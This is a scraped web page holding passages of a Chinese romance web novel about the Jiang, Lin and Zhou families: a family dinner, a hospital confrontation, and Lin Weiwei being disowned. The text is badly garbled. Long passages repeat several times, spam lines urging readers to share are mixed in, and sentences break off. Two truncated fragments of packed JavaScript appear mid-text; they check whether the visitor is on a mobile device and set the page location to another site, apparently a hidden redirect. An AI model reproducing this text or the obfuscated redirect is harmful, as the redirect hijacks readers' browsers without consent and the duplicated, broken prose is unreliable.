“嘉树去上学了家里刚好清静你陪陪我好不好?” 妻子夏静姝那方面的欲望一直很强。 江书臣知道。 三天不做确实是她的忍耐极限。 倒不是江书臣体力不好。 也不是他那方面不行。 是今天有个重要的新闻发布会他不能留下来陪夏静姝。 当滚烫的呼吸来到江书臣最敏感的喉结时 “静姝实在对不起今天有个重要的新闻发布会。” “我必须准时去。” 夏静姝不高兴了“你就不能让江遇去吗?” “我都联系不上他。”江书臣快速扎好衣服扣紧皮带。 可是这皮带却被夏静姝紧紧拉着“江书臣你知不知道你都冷落我好几天了。” “晚上回来陪你乖!” “哼!” 看着江书臣一边套着西装外套一边往外走夏静姝气得脸都绿了。 楼下响起汽车离开的声音后夏静珠站在窗前打了一通电话“老地方等我!” 电话那头带着暧昧和调戏“怎么昨天晚上你家那位又没有满足你?” …… 东江幼儿园。 林听和柚子来到了一辆黑色的红旗国宾轿车前。 这车是江书臣的。 当时江遇买了三辆红旗。 国耀送给了周自衡。 国宾则送给了他。 “书臣哥这么多年了你也没换一辆车?” “你知道的,我这个人念旧。” 说话间,江书臣拉开了副驾驶室的车门。 “小听,你坐前面,让柚子和嘉树坐后排。” “我还是和孩子们一起坐吧。” 副驾驶座,是夏静姝的专座。 这个女人爱吃醋。 她可不想让书臣哥和她吵架。 “小听,你知道的,我的副驾座,静姝只允许你一个人坐。她对你满心愧疚,她希望你们能做回以前的姐妹。今天请你去家里吃饭,是她亲自下的厨。” “书臣哥,我和静姝回不到过去了,我只是看在你和嘉树的面子上,不跟她计较。” 夏静姝能冤枉她第一次,就能冤枉她第二次。 如果下次再遇到什么事,她们的姐妹感情,一样会**。 江书臣知道,之前夏静姝做的事情确实很伤人。 他也不好再为夏静姝说好话。 晚上这顿饭,夏静姝做了很多林听爱吃的菜。 夏静姝想约林听第二天去逛街,林听委婉拒绝了。 晚饭后,江书臣准备亲自送林听母女俩回君悦府。 一辆酒红色的红旗国耀,在这个时候停在了怡和别苑的大门口。 车库前的几人,一起抬头望去。 看到那辆耀眼又霸气的车,柚子高兴道,“妈妈,周爸爸来接我们啦!” 说话间,小柚子已经朝着周自衡欢快地奔跑过去。 下车的周自衡,一把将柚子抱在怀里。 林听也走过去,“你怎么来了?” 周自衡说得从容淡定,“接你们母女俩回家!” 这话说的,好像他们是一家三口似的。 林听听着,总觉得哪里不太对劲儿! 夜色下 铁血温柔的周自衡,抱着柚子,身侧又站着一个纤瘦娇小的林听。 当头的月儿,照着他们三人的影子。 连这落在地上的影子,都像是一家三口一样,温馨又和美。 送客的夏静姝,不免有些讶异,“小听,你和周自衡同居了?” 你的朋友正在书荒,快去帮帮他吧 “你知道的,我这个人念旧。” 说话间,江书臣拉开了副驾驶室的车门。 “小听,你坐前面,让柚子和嘉树坐后排。” “我还是和孩子们一起坐吧。” 副驾驶座,是夏静姝的专座。 这个女人爱吃醋。 她可不想让书臣哥和她吵架。 “小听,你知道的,我的副驾座,静姝只允许你一个人坐。她对你满心愧疚,她希望你们能做回以前的姐妹。今天请你去家里吃饭,是她亲自下的厨。” “书臣哥,我和静姝回不到过去了,我只是看在你和嘉树的面子上,不跟她计较。” 夏静姝能冤枉她第一次,就能冤枉她第二次。 如果下次再遇到什么事,她们的姐妹感情,一样会**。 江书臣知道,之前夏静姝做的事情确实很伤人。 他也不好再为夏静姝说好话。 晚上这顿饭,夏静姝做了很多林听爱吃的菜。 夏静姝想约林听第二天去逛街,林听委婉拒绝了。 晚饭后,江书臣准备亲自送林听母女俩回君悦府。 一辆酒红色的红旗国耀,在这个时候停在了怡和别苑的大门口。 车库前的几人,一起抬头望去。 看到那辆耀眼又霸气的车,柚子高兴道,“妈妈,周爸爸来接我们啦!” 说话间,小柚子已经朝着周自衡欢快地奔跑过去。 下车的周自衡,一把将柚子抱在怀里。 林听也走过去,“你怎么来了?” 周自衡说得从容淡定,“接你们母女俩回家!” 这话说的,好像他们是一家三口似的。 林听听着,总觉得哪里不太对劲儿! 夜色下 铁血温柔的周自衡,抱着柚子,身侧又站着一个纤瘦娇小的林听。 当头的月儿,照着他们三人的影子。 连这落在地上的影子,都像是一家三口一样,温馨又和美。 送客的夏静姝,不免有些讶异,“小听,你和周自衡同居了?” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “你知道的,我这个人念旧。” 说话间,江书臣拉开了副驾驶室的车门。 “小听,你坐前面,让柚子和嘉树坐后排。” “我还是和孩子们一起坐吧。” 副驾驶座,是夏静姝的专座。 这个女人爱吃醋。 她可不想让书臣哥和她吵架。 “小听,你知道的,我的副驾座,静姝只允许你一个人坐。她对你满心愧疚,她希望你们能做回以前的姐妹。今天请你去家里吃饭,是她亲自下的厨。” “书臣哥,我和静姝回不到过去了,我只是看在你和嘉树的面子上,不跟她计较。” 夏静姝能冤枉她第一次,就能冤枉她第二次。 如果下次再遇到什么事,她们的姐妹感情,一样会**。 江书臣知道,之前夏静姝做的事情确实很伤人。 他也不好再为夏静姝说好话。 晚上这顿饭,夏静姝做了很多林听爱吃的菜。 夏静姝想约林听第二天去逛街,林听委婉拒绝了。 晚饭后,江书臣准备亲自送林听母女俩回君悦府。 一辆酒红色的红旗国耀,在这个时候停在了怡和别苑的大门口。 车库前的几人,一起抬头望去。 看到那辆耀眼又霸气的车,柚子高兴道,“妈妈,周爸爸来接我们啦!” 说话间,小柚子已经朝着周自衡欢快地奔跑过去。 下车的周自衡,一把将柚子抱在怀里。 林听也走过去,“你怎么来了?” 周自衡说得从容淡定,“接你们母女俩回家!” 这话说的,好像他们是一家三口似的。 林听听着,总觉得哪里不太对劲儿! 夜色下 铁血温柔的周自衡,抱着柚子,身侧又站着一个纤瘦娇小的林听。 当头的月儿,照着他们三人的影子。 连这落在地上的影子,都像是一家三口一样,温馨又和美。 送客的夏静姝,不免有些讶异,“小听,你和周自衡同居了?” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “你知道的,我这个人念旧。” 说话间,江书臣拉开了副驾驶室的车门。 “小听,你坐前面,让柚子和嘉树坐后排。” “我还是和孩子们一起坐吧。” 副驾驶座,是夏静姝的专座。 这个女人爱吃醋。 她可不想让书臣哥和她吵架。 “小听,你知道的,我的副驾座,静姝只允许你一个人坐。她对你满心愧疚,她希望你们能做回以前的姐妹。今天请你去家里吃饭,是她亲自下的厨。” “书臣哥,我和静姝回不到过去了,我只是看在你和嘉树的面子上,不跟她计较。” 夏静姝能冤枉她第一次,就能冤枉她第二次。 如果下次再遇到什么事,她们的姐妹感情,一样会**。 江书臣知道,之前夏静姝做的事情确实很伤人。 他也不好再为夏静姝说好话。 晚上这顿饭,夏静姝做了很多林听爱吃的菜。 夏静姝想约林听第二天去逛街,林听委婉拒绝了。 晚饭后,江书臣准备亲自送林听母女俩回君悦府。 一辆酒红色的红旗国耀,在这个时候停在了怡和别苑的大门口。 车库前的几人,一起抬头望去。 看到那辆耀眼又霸气的车,柚子高兴道,“妈妈,周爸爸来接我们啦!” 说话间,小柚子已经朝着周自衡欢快地奔跑过去。 下车的周自衡,一把将柚子抱在怀里。 林听也走过去,“你怎么来了?” 周自衡说得从容淡定,“接你们母女俩回家!” 这话说的,好像他们是一家三口似的。 林听听着,总觉得哪里不太对劲儿! 夜色下 铁血温柔的周自衡,抱着柚子,身侧又站着一个纤瘦娇小的林听。 当头的月儿,照着他们三人的影子。 连这落在地上的影子,都像是一家三口一样,温馨又和美。 送客的夏静姝,不免有些讶异,“小听,你和周自衡同居了?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693052|172816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “你知道的我这个人念旧。” 说话间江书臣拉开了副驾驶室的车门。 “小听你坐前面让柚子和嘉树坐后排。” “我还是和孩子们一起坐吧。” 副驾驶座是夏静姝的专座。 这个女人爱吃醋。 她可不想让书臣哥和她吵架。 “小听你知道的我的副驾座静姝只允许你一个人坐。她对你满心愧疚她希望你们能做回以前的姐妹。今天请你去家里吃饭是她亲自下的厨。” “书臣哥我和静姝回不到过去了我只是看在你和嘉树的面子上不跟她计较。” 夏静姝能冤枉她第一次就能冤枉她第二次。 如果下次再遇到什么事她们的姐妹感情一样会**。 江书臣知道之前夏静姝做的事情确实很伤人。 他也不好再为夏静姝说好话。 晚上这顿饭夏静姝做了很多林听爱吃的菜。 夏静姝想约林听第二天去逛街林听委婉拒绝了。 晚饭后江书臣准备亲自送林听母女俩回君悦府。 一辆酒红色的红旗国耀在这个时候停在了怡和别苑的大门口。 车库前的几人 看到那辆耀眼又霸气的车柚子高兴道“妈妈周爸爸来接我们啦!” 说话间小柚子已经朝着周自衡欢快地奔跑过去。 下车的周自衡一把将柚子抱在怀里。 林听也走过去“你怎么来了?” 周自衡说得从容淡定“接你们母女俩回家!” 这话说的好像他们是一家三口似的。 林听听着总觉得哪里不太对劲儿! 夜色下 铁血温柔的周自衡抱着柚子身侧又站着一个纤瘦娇小的林听。 当头的月儿照着他们三人的影子。 连这落在地上的影子都像是一家三口一样温馨又和美。 送客的夏静姝不免有些讶异“小听你和周自衡同居了?” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “你知道的,我这个人念旧。 说话间,江书臣拉开了副驾驶室的车门。 “小听,你坐前面,让柚子和嘉树坐后排。 “我还是和孩子们一起坐吧。 副驾驶座,是夏静姝的专座。 这个女人爱吃醋。 她可不想让书臣哥和她吵架。 “小听,你知道的,我的副驾座,静姝只允许你一个人坐。她对你满心愧疚,她希望你们能做回以前的姐妹。今天请你去家里吃饭,是她亲自下的厨。 “书臣哥,我和静姝回不到过去了,我只是看在你和嘉树的面子上,不跟她计较。 夏静姝能冤枉她第一次,就能冤枉她第二次。 如果下次再遇到什么事,她们的姐妹感情,一样会**。 江书臣知道,之前夏静姝做的事情确实很伤人。 他也不好再为夏静姝说好话。 晚上这顿饭,夏静姝做了很多林听爱吃的菜。 夏静姝想约林听第二天去逛街,林听委婉拒绝了。 晚饭后,江书臣准备亲自送林听母女俩回君悦府。 一辆酒红色的红旗国耀,在这个时候停在了怡和别苑的大门口。 车库前的几人,一起抬头望去。 看到那辆耀眼又霸气的车,柚子高兴道,“妈妈,周爸爸来接我们啦! 说话间,小柚子已经朝着周自衡欢快地奔跑过去。 下车的周自衡,一把将柚子抱在怀里。 林听也走过去,“你怎么来了? 周自衡说得从容淡定,“接你们母女俩回家! 这话说的,好像他们是一家三口似的。 林听听着,总觉得哪里不太对劲儿! 夜色下 铁血温柔的周自衡,抱着柚子,身侧又站着一个纤瘦娇小的林听。 当头的月儿,照着他们三人的影子。 连这落在地上的影子,都像是一家三口一样,温馨又和美。 送客的夏静姝,不免有些讶异,“小听,你和周自衡同居了? 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “你知道的,我这个人念旧。” 说话间,江书臣拉开了副驾驶室的车门。 “小听,你坐前面,让柚子和嘉树坐后排。” “我还是和孩子们一起坐吧。” 副驾驶座,是夏静姝的专座。 这个女人爱吃醋。 她可不想让书臣哥和她吵架。 “小听,你知道的,我的副驾座,静姝只允许你一个人坐。她对你满心愧疚,她希望你们能做回以前的姐妹。今天请你去家里吃饭,是她亲自下的厨。” “书臣哥,我和静姝回不到过去了,我只是看在你和嘉树的面子上,不跟她计较。” 夏静姝能冤枉她第一次,就能冤枉她第二次。 如果下次再遇到什么事,她们的姐妹感情,一样会**。 江书臣知道,之前夏静姝做的事情确实很伤人。 他也不好再为夏静姝说好话。 晚上这顿饭,夏静姝做了很多林听爱吃的菜。 夏静姝想约林听第二天去逛街,林听委婉拒绝了。 晚饭后,江书臣准备亲自送林听母女俩回君悦府。 一辆酒红色的红旗国耀,在这个时候停在了怡和别苑的大门口。 车库前的几人,一起抬头望去。 看到那辆耀眼又霸气的车,柚子高兴道,“妈妈,周爸爸来接我们啦!” 说话间,小柚子已经朝着周自衡欢快地奔跑过去。 下车的周自衡,一把将柚子抱在怀里。 林听也走过去,“你怎么来了?” 周自衡说得从容淡定,“接你们母女俩回家!” 这话说的,好像他们是一家三口似的。 林听听着,总觉得哪里不太对劲儿! 夜色下 铁血温柔的周自衡,抱着柚子,身侧又站着一个纤瘦娇小的林听。 当头的月儿,照着他们三人的影子。 连这落在地上的影子,都像是一家三口一样,温馨又和美。 送客的夏静姝,不免有些讶异,“小听,你和周自衡同居了?” 你的朋友正在书荒,快去帮帮他吧 第116章 狠虐林家父子 林听就知道。 夏静姝还是和以前一样,看人看事只看表面。 她直接忽视夏静姝,目光落在江书臣和江嘉树父子二人身上。 “嘉树,下次你要是想柚子妹妹了,让爸爸带你来阿姨家里玩。” 说着,就和周自衡一起上了车。 柚子坐到车里,落下车窗,朝着嘉树哥哥招手说再见。 同样挥手告别的小嘉树,满眼写着难舍难分。 车子远去了,小家伙还望着那片夜色,遥遥相望。 这才刚刚分别,小嘉树又开始期待着下一次的见面了。 “爸爸,我们什么时候还能再见到柚子妹妹?” 夏静姝:“臭小子,这才刚分开呢。” 江书臣牵起江嘉树的小手,往回走。 “下次爸爸再约小听阿姨和柚子妹妹,好不好?” 往屋里走时,小嘉树时不时地回头遥望。 明明已经瞧不见柚子妹妹了,他似乎还在期待着什么。 到了客厅,夏静姝坐下来。 江书臣坐到她旁边,开始说教: “静姝,你就是管不住你这张嘴。” “我听说,小听和宋律风已经办了离婚手续了。” “她可能是不方便再住在宋家,所以周自衡才让她去他那边住。” “你啊,又误会小听了。” “小听是那种随随便便,就和男人同居的人吗?” 夏静姝觉得江书臣分析的有道理。 想着刚刚林听对她冷漠的态度,夏静姝好难过。 “小听还不肯原谅我。” “可是我这张嘴也不是故意的,我只是随口一问。” 虽然晚饭时,她和林听加回了微信。 但是小听还是对她冷冷淡淡的。 小听不过是看在嘉树和江书臣的面子上,这才来家里吃饭。 这些,夏静姝都知道。 她忽然觉得好委屈。 “我已经很真诚的跟她道歉,我还亲自下厨做了好多她喜欢吃的菜,还要我怎么样嘛?” 小嘉树看着夏静姝:“妈妈,如果我拿刀子捅你一刀,再跟你说声对不起,给你做顿饭,你同意吗?” 夏静姝:“当 然不同意啊。 小嘉树:“这不就对了,你不同意,你却要小听阿姨同意? 夏静姝:“嘿,你究竟是谁的儿子? 小嘉树:“我只是帮理不帮亲。 见儿子如此冷静,江书臣不由摸了摸儿子的脑袋,夸奖道: “嘉树,你是对的。 “我们看人看事,一定不能只看表面。 “对待是非对错,也一定要用理智,公正的态度。 “这样以来,以后不管你涉足到哪个领域,都能走得更远,更长。 从小到大,江嘉树对父亲江书臣的教育,那是心服口服。 因为江书臣向来以身作则。 不像妈妈夏静姝,经常说话不算话,经常耍无赖。 有错还不承认。 不过,谁叫爸爸宠着妈妈呢? 见两父子穿一条裤子,夏静姝不高兴了。 “好啊,江书臣,你们父子俩合着伙来欺负我,是不是? “儿子都说了,这叫帮理不帮亲。 …… 翌日。 医院。 住院期间的林建国,对女儿林听思念过度。 他躺在床上,林振宇喂他喝水,他不喝。 喂他吃粥,他也不吃。 “爸,就算你想妹妹,也得等身子好了,能利索的行动了,才能去看她。 林建国抹了一把老泪。 几度哽咽得说不出话。 林振宇赶紧给他递纸巾。 “爸,你要先保重身体,才能更好地去弥补小听。你要是都倒下了,还怎么去弥补别人? “我对不起你妹妹,也对不起你们妈妈。林建国捶了捶窒息的胸口。 唐婉华是为了替他生下宝贝女儿,这才难产而去的。 他竟然相信了那些所谓的狗屁证据,诬陷她和初恋偷情,才怀上了林听。 以至于让他们的宝贝女儿小听,过得那样凄惨。 “我以后下了黄泉,哪有脸面去见你们的妈妈…… “振宇啊。林建国忽然激动地抓住林振宇的手,“你能不能想想办法,让我见见小听? “爸,你又不是不知道,小听恨死我们父子二人。恐 怕这辈子,她都不想再见到我们了。” 否则,他修好的他与小听从小到大的,琉璃水晶相册,她也不会啪一声摔在地上。 他们之间的亲情,早就像那碎掉的琉璃水晶一样,裂痕重重了。 “爸,我知道你心情不好,我推你去楼下散散心吧。” 林振宇推着林建国,在医院楼下四处转了转。 忽然,林建国看到一个熟悉的人影。 “振宇,停车场方向,是不是你妹妹?” 林振宇放眼望去。 还真是林听。 两父子顿时心潮澎湃,紧张激动。 “爸,是小听。她旁边的是宋律风的岳父,周叔叔。” “快,上去看看。” 林振宇赶紧推着林建国,追了过去。 此时此刻,林听正扶着周国立,往医院门诊大楼走去。 “爸,看得清吗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15697090|172816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走慢一点,这里有台阶。” 今早起床后,周国立的视线突然变得模糊不清,并且出现畏光反应。 林听在大学的时候,也是学医的。 她初步判断,这是白内障的症状。 今早宋律风有个官司要打,抽不出时间送周国立来医院。 而张淑琴又要在家里,照顾几个月大的盼盼。 林听便独自开车送周国立,来了医院。 因为周国立畏光,她给他戴了一个黑色的墨镜。 怕他走路看不清,她小心翼翼地搀扶着。 “小听,我没事,能自己走。” “不行,爸,我必须扶着你,你这么大岁数了,万一摔了可不得了。” “小听,真是麻烦你了,多亏了你。” “爸,你说什么呢,之前一直是你和妈照顾我和柚子,这不都是我应该做的吗。” “临到老了,我和你妈还能突然有个贴心的女儿,真是我们的福气。” “爸,要不是你和妈妈照顾着我和柚子,我们母女俩早就活不下去了,应该是我和柚子沾了你们的福气。” 不远处。 听到两人对话的林建国和林振宇,脸色一片铁青。 林听和周国立快要走远了,林建国愤怒道: “振宇,你刚刚听清楚了吗, 小听叫他爸?” 林振宇没听错。 林听怎么可以认别人当爸? 她有时间送别人来医院看病。 自己的亲生父亲重伤住院,却不闻不顾? 他赶紧推着轮椅里的林建国,追上去,绕到林听面前,拦住了他们的去路。 “小听,你刚刚叫他爸?” 林听完全没有想到,能在这个地方碰见林建国。 医院如此之大。 就算林建国在此住院。 只要她不去他的病房,他们就见不着面。 偏偏就是这么凑巧,让她在这里,见到了她此生最不愿再见到的人。 她的脸色,瞬间冷了下来。 然后,堂堂正正,大大方方地朝二人介绍道: “重新向你们介绍一下,这是我父亲,周国立。” 轮椅里的林建国,只觉一个重锤,用力砸在胸口。 一口老气,差点提不上来。 脸色顿时一片铁青。 亲女儿放着亲生父亲不认,却认外面毫无血缘关系的人为父亲。 这对林建国来说,简直就是报应啊! 林建国一把老泪流下来。 “小听,就就算你再恨爸爸,也不能认别人当父亲。” “我才是你的亲生父亲啊。难道血缘亲情,你都不要了吗?” 第117章 感情,免谈! “现在知道血缘亲情了?” “小听走投无路的时候,你们的血缘亲情在哪里?” “你们为了那个心机女,把自己的亲生女儿送到别的男人床上,你们的血缘亲情,又在哪里?” “林建国,小听快要死的时候,你们对她不管不顾,又可曾想过小听是你的女儿?” “你还好意思反过来问小听为什么不认你?” 周国立虽然看不清,但眼前有两个人影,他还是知道的。 他越说越愤愤不平。 只差没抄起旁边的垃圾桶,砸向这不要脸的父子二人。 “你们父子二人,还要脸吗?” 几句话,怼得林建国林振宇父子二人,顿时哑口无言。 始终心中再怒火燃烧,也没有理由再讲下去。 是。 是他们对不起小听在先。 那些苦难与疼痛,林听原本已经放下了。 每一次见到伤害过她的人,却还是会被血淋淋的揭开。 她掩着痛,冷冷地看着林家父子二人,道: “我只知道,我走投无路的时候,是周爸和张妈收留了我和柚子。” “是他们给了我一个家。” “从今以后,他们才是我的亲人。” “林总,林先生,**传票收到了吧?” “我们之间唯一可谈的,只有钱。” “我要拿回我妈妈留给我的,属于我的那一部分。” “其余的,免谈。” 说完,她挽着周国立的手,脸上的冰冷瞬间变成了耐心与笑容。 “爸,你的眼睛耽误不得,我带你去看医生。” 以后,她只会对周国立和张淑琴二人敬孝。 至于林建国,她转身扶着周国立离开后,便将他甩在了后面,头也不回。 以后,她都不会再回头了。 轮椅上的林建国,看着自己的亲生女儿就这么一步一步,远离于他的视频之中。 他们之间的父女亲情,也像是这被拉远的距离一样,越来越远,越来越够不着。 可是,他只能无可奈何地坐在轮椅里。 什么也做不了。 胸口像是被人捅了刀子似的疼。 林振宇知道父亲难过,不由蹲在轮椅前,劝道: “爸,小听只是一时还在气头上,她始终是你的亲生女儿。” “回头我好好劝劝她,她肯定还会认回您这个亲生父亲的。” 林建国痛苦地应了一声,“周国立说的没错,我还有什么脸面,质问小听?” 是他,亲手把这个亲生女儿,一点一点推向深渊。 他坐在轮椅上,开始反思自己。 “振宇,你去打听打听,这个周国立生了什么病。回头诚心诚意去探望一下,并且代我感谢他。” 林听说的没错。 在她走投无路的时候,是宋律风和周国立张淑琴夫妇俩,收留了她。 幸好有他们收留小听和柚子母女俩。 他应该感谢他们。 林振宇起身道,“爸,周国立和张淑琴**女儿。那周琪难产**,还留下两个女儿。他们就是怕没人养老,才认小听为女儿的。” 林建国训斥道:“糊涂!现在小听只拿他们当亲人,你要是跟他们作对,小听还会原谅我们吗?” 林振宇恍然大悟,“对,对,对,不能再做让小听难过的事情了。我回头马上诚心诚意,去探望周叔。” 两父子心情低落地回到病房。 病房里,林薇薇坐立不安。 见父子二人归来,赶紧起身迎上去。 林建国的脸色,立即垮下来。 “你怎么来了,不是说过了,这里根本不欢迎你。” 林薇薇小声道,“爸,我给你煲了些汤。” 那汤,被林建国一把推倒,“我可不敢喝,我怕你下毒。” 汤汁洒了一地。 林薇薇赶紧退后两步,“爸!” 林建国呵斥,“不要叫我爸。我不是你爸。” 哭泣的林薇薇,委屈痛苦道: “爸,我也是无辜的啊。我直到前几天才知道,苏秀珍并不是我的亲生母亲。” “不过是因为你喜欢女儿,所以她把我拐过来,给你当女儿,接近你,报复你。” “我也很可怜,我无亲无故的,爸,你要是再不要我,我就真的没有亲人了。” 她小心翼翼地走过去,蹲在林建国的轮椅前,尝试着 握起林建国的手,“爸……” 下一秒,被林建国用力推开。 “爸,不管你认不认我,有件事情,我都必须告诉你。” “三十三年前,你开车撞死过一个一岁多的小男孩,这件事情你还记得吗?” “那个小男孩,其实是苏秀珍的独生子。” 这件事情,林振宇前两天回来告诉过林建国。 林建国这才知道,苏秀珍接近他的目的,是为了替儿子报仇。 他的脸色变得严肃起来。 林薇薇又说,“爸,我劝过她,让她放下仇恨,别再做坏事了。可是她说,她要让林家的人都**。你一定要好好查一查她的丈夫在哪里。” 苏秀珍是坐牢了。 可是苏秀珍的丈夫,一直没露过面。 “爸,她说她要让林家的人,都要为她儿子陪葬。” “你们一定要小心一些。” 闻言,林家父子二人的脸色,突然变得谨慎起来。 想到林薇薇多年的欺骗,林振宇黑着脸,冷声说,“这件事情,我们自己会查清,不用你操心。” 林薇薇哭道,“哥,我真的没有你们想象的那么坏。如果我真的是坏人,当初周六少找人把柚子扔进河里,我就不会把她救起来,再送回城中村。你们再给我一次机会,别把我赶出林家,让我好好弥补你们,好不好?” 上次柚子突然失踪的事情,林振宇多多少少也知道。 他狐疑道,“是你把柚子从河里捞起来的?” 林薇薇指天起誓道,“我若有半句假话,出门被车撞死。” 就算如此,林建国依旧憎恨林薇薇的欺骗。 他对她比对林听还要疼爱。 最后却不是他的亲生女儿。 林建国脸色铁青道,“你会不会被车撞死,我管不着。但是,我限你两一天之内,从林家滚出去。” 林薇薇失魂落魄地离开了医院。 在医院的进出口,看到了江遇的那辆红旗国礼。 她跟到停车场,见江遇下车后,不由扑到江遇面前。 “江遇,你能不能借我点钱,我现在身无分文,所有的银行卡都被冻结了,我真的走投无路了。” 这些年,她和苏秀珍花的每一分钱,有一半都是属于唐婉华的。 林听作为唐婉华的亲生女儿,向**提起了诉讼。 又有宋律风这个大律师帮着林听。 所以,她的所有银行卡,都被银行冻结了。 林家不要她了,她真的走投无路了。 她拉着江遇的胳膊,声声哀求。 江遇冷冷地挥开她。 “林薇薇,我不会再可怜你半分。” 诚然,林薇薇说的没错,是他对林听不信任,才导致了他与林听分道扬镳的结局。 可是,如果林薇薇不会从中作梗,他怎么可能失去林听,失去自己的亲生女儿? 他恨不得将林薇薇挫骨扬灰,“滚!” “江遇,就算你恨我,可是你能不能看在,我也救过柚子的份上,先错我一些钱?” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 握起林建国的手“爸……” 下一秒被林建国用力推开。 “爸不管你认不认我有件事情我都必须告诉你。” “三十三年前你开车撞死过一个一岁多的小男孩这件事情你还记得吗?” “那个小男孩其实是苏秀珍的独生子。” 这件事情林振宇前两天回来告诉过林建国。 林建国这才知道苏秀珍接近他的目的是为了替儿子报仇。 他的脸色变得严肃起来。 林薇薇又说“爸我劝过她让她放下仇恨别再做坏事了。可是她说她要让林家的人都**。你一定要好好查一查她的丈夫在哪里。” 苏秀珍是坐牢了。 可是苏秀珍的丈夫一直没露过面。 “爸她说她要让林家的人都要为她儿子陪葬。” “你们一定要小心一些。” 闻言林家父子二人的脸色突然变得谨慎起来。 想到林薇薇多年的欺骗林振宇黑着脸冷声说“这件事情我们自己会查清不用你操心。” 林薇薇哭道“哥我真的没有你们想象的那么坏。如果我真的是坏人当初周六少找人把柚子扔进河里我就不会把她救起来再送回城中村。你们再给我一次机会别把我赶出林家让我好好弥补你们好不好?” 上次柚子突然失踪的事情林振宇多多少少也知道。 他狐疑道 林薇薇指天起誓道“我若有半句假话出门被车撞死。” 就算如此林建国依旧憎恨林薇薇的欺骗。 他对她比对林听还要疼爱。 最后却不是他的亲生女儿。 林建国脸色铁青道“你会不会被车撞死我管不着。但是我限你两一天之内从林家滚出去。” 林薇薇失魂落魄地离开了医院。 在医院的进出口看到了江遇的那辆红旗国礼。 她跟到停车场见江遇下车后不由扑到江遇面前。 “江遇你能不能借我点钱我现在身无分文所有的银行卡都被冻结了我真的走投无路了。” 这些年她和苏秀珍花的每一分钱有一半都是属于唐婉华的。 林听作为唐婉华的亲生女儿向**提起了诉讼。 又有宋律风这个大律师帮着林听。 所以她的所有银行卡都被银行冻结了。 林家不要她了她真的走投无路了。 她拉着江遇的胳膊声声哀求。 江遇冷冷地挥开她。 “林薇薇我不会再可怜你半分。” 诚然林薇薇说的没错是他对林听不信任才导致了他与林听分道扬镳的结局。 可是如果林薇薇不会从中作梗他怎么可能失去林听失去自己的亲生女儿? 他恨不得将林薇薇挫骨扬灰“滚!” “江遇就算你恨我可是你能不能看在我也救过柚子的份上先错我一些钱?” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 握起林建国的手,“爸…… 下一秒,被林建国用力推开。 “爸,不管你认不认我,有件事情,我都必须告诉你。 “三十三年前,你开车撞死过一个一岁多的小男孩,这件事情你还记得吗? “那个小男孩,其实是苏秀珍的独生子。 这件事情,林振宇前两天回来告诉过林建国。 林建国这才知道,苏秀珍接近他的目的,是为了替儿子报仇。 他的脸色变得严肃起来。 林薇薇又说,“爸,我劝过她,让她放下仇恨,别再做坏事了。可是她说,她要让林家的人都**。你一定要好好查一查她的丈夫在哪里。 苏秀珍是坐牢了。 可是苏秀珍的丈夫,一直没露过面。 “爸,她说她要让林家的人,都要为她儿子陪葬。 “你们一定要小心一些。 闻言,林家父子二人的脸色,突然变得谨慎起来。 想到林薇薇多年的欺骗,林振宇黑着脸,冷声说,“这件事情,我们自己会查清,不用你操心。 林薇薇哭道,“哥,我真的没有你们想象的那么坏。如果我真的是坏人,当初周六少找人把柚子扔进河里,我就不会把她救起来,再送回城中村。你们再给我一次机会,别把我赶出林家,让我好好弥补你们,好不好? 上次柚子突然失踪的事情,林振宇多多少少也知道。 他狐疑道,“是你把柚子从河里捞起来的? 林薇薇指天起誓道,“我若有半句假话,出门被车撞死。 就算如此,林建国依旧憎恨林薇薇的欺骗。 他对她比对林听还要疼爱。 最后却不是他的亲生女儿。 林建国脸色铁青道,“你会不会被车撞死,我管不着。但是,我限你两一天之内,从林家滚出去。 林薇薇失魂落魄地离开了医院。 在医院的进出口,看到了江遇的那辆红旗国礼。 她跟到停车场,见江遇下车后,不由扑到江遇面前。 “江遇,你能不能借我点钱,我现在身无分文,所有的银行卡都被冻结了,我真的走投无路了。 这些年,她和苏秀珍花的每一分钱,有一半都是属于唐婉华的。 林听作为唐婉华的亲生女儿,向**提起了诉讼。 又有宋律风这个大律师帮着林听。 所以,她的所有银行卡,都被银行冻结了。 林家不要她了,她真的走投无路了。 她拉着江遇的胳膊,声声哀求。 江遇冷冷地挥开她。 “林薇薇,我不会再可怜你半分。 诚然,林薇薇说的没错,是他对林听不信任,才导致了他与林听分道扬镳的结局。 可是,如果林薇薇不会从中作梗,他怎么可能失去林听,失去自己的亲生女儿? 他恨不得将林薇薇挫骨扬灰,“滚! “江遇,就算你恨我,可是你能不能看在,我也救过柚子的份上,先错我一些钱? 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 握起林建国的手,“爸…… 下一秒,被林建国用力推开。 “爸,不管你认不认我,有件事情,我都必须告诉你。 “三十三年前,你开车撞死过一个一岁多的小男孩,这件事情你还记得吗? “那个小男孩,其实是苏秀珍的独生子。 